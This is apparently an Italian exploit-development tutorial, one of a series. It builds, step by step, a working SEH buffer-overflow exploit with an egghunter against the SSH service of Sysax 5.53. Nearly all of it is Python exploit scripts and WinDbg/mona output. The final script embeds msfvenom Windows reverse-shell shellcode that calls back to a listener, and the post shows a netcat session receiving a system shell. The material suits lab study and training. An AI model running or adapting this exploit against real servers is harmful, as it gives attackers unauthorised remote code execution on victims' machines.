Quinto articolo della serie Egghunter Buffer Overflow, target Sysax 5.53
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
Sysax è un server utilizzato per lo sharing di file. Nel corso degli anni sono state trovate diverse vulnerabilità, in questo articolo approfondiremo lo stack buffer overflow presente sul servizio SSH (che bisogna attivare dalle impostazioni).
Sappiamo che il server va in crash con il seguente comando
import paramiko,os,sys
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 10000 # change me
payload = b"A" * CRASH_LEN
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Divido in due il payload in modo da capire se è tra i primi 5000 o i successivi.
import paramiko,os,sys
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 10000 # change me
payload = b"A" * 5000
payload += b"B" * 5000
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Rilancio
(2b60.41b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=01556a00 edx=004a6a00 esi=01556a60 edi=00000001
eip=00404c2a esp=019fcd3c ebp=0000004d iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sysaxservd+0x4c2a:
00404c2a 8b8094030000 mov eax,dword ptr [eax+394h] ds:0023:414144d5=????????
0:010> !exchain
019ff768: 42424242
Invalid exception stack at 42424242
Sulla B, quindi tra i successivi.
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 5000
Aggiorniamo lo script
import paramiko,os,sys
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 10000 # change me
payload = b"A" * 5000
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0…"
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Guardiamo la chain
0:008> !exchain
018df768: 46346b46
Invalid exception stack at 336b4632
0:008> !py mona po 336b4632
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 336b4632
Looking for 2Fk3 in pattern of 500000 bytes
- Pattern 2Fk3 (0x336b4632) found in cyclic pattern at position 4208
Looking for 2Fk3 in pattern of 500000 bytes
..
[+] This mona.py action took 0:00:00.189000
0:008> !py mona po 46346b46
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 46346b46
Looking for Fk4F in pattern of 500000 bytes
- Pattern Fk4F (0x46346b46) found in cyclic pattern at position 4212
Looking for Fk4F in pattern of 500000 bytes
..
[+] This mona.py action took 0:00:00.174000
Quindi NSEH è in posizione 4208 e SEH 4212. Aggiorniamo lo script per confermare la posizione
import paramiko,os,sys
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 10000 # change me
OFFSET = 9208 # 5000 + 4208
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * (CRASH_LEN - len(payload))
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
import paramiko,os,sys
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
CRASH_LEN = 10000 # change me
OFFSET = 9208 # 5000 + 4208
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Tramite TEB e l’ExceptionList dumpo l’indirizzo di memoria su cui risiedono per vedere se c’è qualche bad char
0:008> !exchain
0177f768: 43434343
Invalid exception stack at 42424242
0:008> db 0177f768
0177f768 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
0177f778 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
0177f788 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28 ....... !"#$%&'(
0177f798 29 2a 2b 2c 2d 2e 2f 30-31 32 33 34 35 36 37 38 )*+,-./012345678
0177f7a8 39 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 9...............
0177f7b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0177f7c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0177f7d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Tolgo \x3a e rilancio
0:008> db 0184f768 L110
0184f768 42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08 BBBBCCCC........
0184f778 09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18 ................
0184f788 19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28 ....... !"#$%&'(
0184f798 29 2a 2b 2c 2d 2e 2f 30-31 32 33 34 35 36 37 38 )*+,-./012345678
0184f7a8 39 3b 3c 3d 3e 3f 40 41-42 43 44 45 46 47 48 49 9;<=>?@ABCDEFGHI
0184f7b8 4a 4b 4c 4d 4e 4f 50 51-52 53 54 55 56 57 58 59 JKLMNOPQRSTUVWXY
0184f7c8 5a 5b 5c 5d 5e 5f 60 61-62 63 64 65 66 67 68 69 Z[\]^_`abcdefghi
0184f7d8 6a 6b 6c 6d 6e 6f 70 71-72 73 74 75 76 77 78 79 jklmnopqrstuvwxy
0184f7e8 7a 7b 7c 7d 7e 7f 80 81-82 83 84 85 86 87 88 89 z{|}~...........
0184f7f8 8a 8b 8c 8d 8e 8f 90 91-92 93 94 95 96 97 98 99 ................
0184f808 9a 9b 9c 9d 9e 9f a0 a1-a2 a3 a4 a5 a6 a7 a8 a9 ................
0184f818 aa ab ac ad ae af b0 b1-b2 b3 b4 b5 b6 b7 b8 b9 ................
0184f828 ba bb bc bd be bf c0 c1-c2 c3 c4 c5 c6 c7 c8 c9 ................
0184f838 ca cb cc cd ce cf d0 d1-d2 d3 d4 d5 d6 d7 d8 d9 ................
0184f848 da db dc dd de df e0 e1-e2 e3 e4 e5 e6 e7 e8 e9 ................
0184f858 ea eb ec ed ee ef f0 f1-f2 f3 f4 f5 f6 f7 f8 f9 ................
0184f868 fa fb fc fd fe ff 44 44-44 44 44 44 44 44 44 44 ......DDDDDDDDDD
Ottimo, l’unico bad char è \x3a.
Cerco un PPR con mona
0:008> !py mona seh -cpb '\x3a'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb '\x3a'
---------- Mona command started on 2022-09-17 10:36:41 (v2.0, rev 616) ----------
.....
[+] Results :
0x00401684 | 0x00401684 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414ba6 | 0x00414ba6 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414bb9 | 0x00414bb9 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414ea2 | 0x00414ea2 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414f24 | 0x00414f24 : add esp,8 # ret 0x04 | startnull,ascii
Prendo il primo, lo inserisco insieme al solito short jump 8 e metto un breakpoint su 0x00401684. Probabilmente dovremo fare come gli scorsi e saltare indietro, visto che il SEH termina con \x00.
import paramiko,os,sys
import struct
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
#\x00\x3a
CRASH_LEN = 10000 # change me
OFFSET = 9208 # 5000 + 4208
payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # jmp 8
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Vediamo con WinDBG
0:008> bp 0x00401684
0:008> g
RPC: Using rpcns4.dll. The dll is no longer supported.
(db0.353c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=014a6a00 edx=002a6a00 esi=014a6a60 edi=00000001
eip=00404c2a esp=0174cd3c ebp=0000004d iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sysaxservd+0x4c2a:
00404c2a 8b8094030000 mov eax,dword ptr [eax+394h] ds:0023:414144d5=????????
0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401684 esp=0174c7c0 ebp=0174c7e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
sysaxservd+0x1684:
00401684 83c408 add esp,8
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401687 esp=0174c7c8 ebp=0174c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
sysaxservd+0x1687:
00401687 c20400 ret 4
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0174f768 esp=0174c7d0 ebp=0174c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0174f768 90 nop
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0174f769 esp=0174c7d0 ebp=0174c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0174f769 90 nop
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0174f76a esp=0174c7d0 ebp=0174c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0174f76a eb06 jmp 0174f772
0:008> db 0174f772
0174f772 f8 d5 fe ff ff ff f8 fb-74 01 7b 25 10 77 c0 4b ........t.{%.w.K
0174f782 41 00 a0 6b 4a 01 00 00-00 00 01 00 00 00 17 00 A..kJ...........
0174f792 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0174f7a2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Ci accorgiamo che dopo il PPR non c’è più nulla. Questo perché l’indirizzo contiene \x00 e elimina tutto ciò che viene dopo. Possiamo però modificare il flusso in maniera diversa, ossia quella di inserire uno short jump invece che in avanti di 8, indietro di 100.
Calcolo l’opcode
nasm > jmp short -100
00000000 EB9A jmp short 0xffffff9c
Aggiorno lo script
import paramiko,os,sys
import struct
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
#\x00\x3a
CRASH_LEN = 10000 # change me
OFFSET = 9208 # 5000 + 4208
payload = b"A" * (OFFSET - 100)
payload += b"B" * 100
payload += struct.pack("<I",0x9aeb9090) # jmp -100
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Vediamo con WinDBG
0:008> bp 0x00401684
0:008> g
RPC: Using rpcns4.dll. The dll is no longer supported.
(3e2c.3178): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=014e6a00 edx=002a6a00 esi=014e6a60 edi=00000001
eip=00404c2a esp=0178cd3c ebp=0000004d iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
sysaxservd+0x4c2a:
00404c2a 8b8094030000 mov eax,dword ptr [eax+394h] ds:0023:414144d5=????????
0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401684 esp=0178c7c0 ebp=0178c7e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
sysaxservd+0x1684:
00401684 83c408 add esp,8
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401687 esp=0178c7c8 ebp=0178c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
sysaxservd+0x1687:
00401687 c20400 ret 4
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0178f768 esp=0178c7d0 ebp=0178c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0178f768 90 nop
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0178f769 esp=0178c7d0 ebp=0178c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0178f769 90 nop
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0178f76a esp=0178c7d0 ebp=0178c7e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0178f76a eb9a jmp 0178f706
0:008> db 0178f706
0178f706 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0178f716 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0178f726 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0178f736 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0178f746 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0178f756 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0178f766 42 42 90 90 eb 9a 84 16-40 00 45 95 f4 55 fe ff BB......@.E..U..
0178f776 ff ff f8 fb 78 01 7b 25-10 77 c0 4b 41 00 a0 6b ....x.{%.w.KA..k
0:008> ? ((0178f766+1)-0178f706)
Evaluate expression: 97 = 00000061
Ed ecco che ho 97 byte disponibili per inserire il mio egghunter. Vado a crearlo con il solito script.
import paramiko,os,sys
import struct
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
#\x00\x3a
CRASH_LEN = 10000 # change me
OFFSET = 9208 # 5000 + 4208
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
payload = b"A" * (OFFSET - 100)
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) # jmp -100
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
E sembra che ci sia tutto
0:008> db 0180f706 L100
0180f706 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0180f716 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0180f726 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0180f736 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 66 ...............f
0180f746 81 ca ff 0f 42 52 31 c0-66 05 c6 01 cd 2e 3c 05 ....BR1.f.....<.
0180f756 5a 74 ec b8 63 30 64 33-89 d7 af 75 e7 af 75 e4 Zt..c0d3...u..u.
0180f766 ff e7 90 90 eb 9a 84 16-40 00 80 8a 68 0c fe ff ........@...h...
0180f776 ff ff f8 fb 80 01 7b 25-10 77 c0 4b 41 00 a0 6b ......{%.w.KA..k
0180f786 56 01 00 00 00 00 01 00-00 00 17 00 01 00 00 00 V...............
Ora non ci rimane che:
Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza.
Aggiorniamo ed eseguiamo lo script
import paramiko,os,sys
import struct
TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT)
#\x00\x3a
CRASH_LEN = 10000 # change me
OFFSET = 9208 # 5000 + 4208
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x3a' EXITFUNC=thread
shellcode = b""
shellcode += b"\xdb\xd1\xb8\x8f\x2f\xfe\x3d\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x42\x17\x83\xc2\x04"
shellcode += b"\x03\xcd\x3c\x1c\xc8\x2d\xaa\x62\x33\xcd\x2b"
shellcode += b"\x03\xbd\x28\x1a\x03\xd9\x39\x0d\xb3\xa9\x6f"
shellcode += b"\xa2\x38\xff\x9b\x31\x4c\x28\xac\xf2\xfb\x0e"
shellcode += b"\x83\x03\x57\x72\x82\x87\xaa\xa7\x64\xb9\x64"
shellcode += b"\xba\x65\xfe\x99\x37\x37\x57\xd5\xea\xa7\xdc"
shellcode += b"\xa3\x36\x4c\xae\x22\x3f\xb1\x67\x44\x6e\x64"
shellcode += b"\xf3\x1f\xb0\x87\xd0\x2b\xf9\x9f\x35\x11\xb3"
shellcode += b"\x14\x8d\xed\x42\xfc\xdf\x0e\xe8\xc1\xef\xfc"
shellcode += b"\xf0\x06\xd7\x1e\x87\x7e\x2b\xa2\x90\x45\x51"
shellcode += b"\x78\x14\x5d\xf1\x0b\x8e\xb9\x03\xdf\x49\x4a"
shellcode += b"\x0f\x94\x1e\x14\x0c\x2b\xf2\x2f\x28\xa0\xf5"
shellcode += b"\xff\xb8\xf2\xd1\xdb\xe1\xa1\x78\x7a\x4c\x07"
shellcode += b"\x84\x9c\x2f\xf8\x20\xd7\xc2\xed\x58\xba\x8a"
shellcode += b"\xc2\x50\x44\x4b\x4d\xe2\x37\x79\xd2\x58\xdf"
shellcode += b"\x31\x9b\x46\x18\x35\xb6\x3f\xb6\xc8\x39\x40"
shellcode += b"\x9f\x0e\x6d\x10\xb7\xa7\x0e\xfb\x47\x47\xdb"
shellcode += b"\xac\x17\xe7\xb4\x0c\xc7\x47\x65\xe5\x0d\x48"
shellcode += b"\x5a\x15\x2e\x82\xf3\xbc\xd5\x45\x3c\xe8\xd4"
shellcode += b"\xa9\xd4\xeb\xd6\xcb\xa1\x65\x30\x81\xb9\x23"
shellcode += b"\xeb\x3e\x23\x6e\x67\xde\xac\xa4\x02\xe0\x27"
shellcode += b"\x4b\xf3\xaf\xcf\x26\xe7\x58\x20\x7d\x55\xce"
shellcode += b"\x3f\xab\xf1\x8c\xd2\x30\x01\xda\xce\xee\x56"
shellcode += b"\x8b\x21\xe7\x32\x21\x1b\x51\x20\xb8\xfd\x9a"
shellcode += b"\xe0\x67\x3e\x24\xe9\xea\x7a\x02\xf9\x32\x82"
shellcode += b"\x0e\xad\xea\xd5\xd8\x1b\x4d\x8c\xaa\xf5\x07"
shellcode += b"\x63\x65\x91\xde\x4f\xb6\xe7\xde\x85\x40\x07"
shellcode += b"\x6e\x70\x15\x38\x5f\x14\x91\x41\xbd\x84\x5e"
shellcode += b"\x98\x05\xa4\xbc\x08\x70\x4d\x19\xd9\x39\x10"
shellcode += b"\x9a\x34\x7d\x2d\x19\xbc\xfe\xca\x01\xb5\xfb"
shellcode += b"\x97\x85\x26\x76\x87\x63\x48\x25\xa8\xa1"
payload = b"c0d3c0d3" #8 bytes
payload += shellcode
payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) # jmp -100
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))
transport = paramiko.Transport(target)
transport.connect(username = payload, password = "test")
transport.close()
Ed ecco la nostra shell
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1400
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Alcune risorse utili: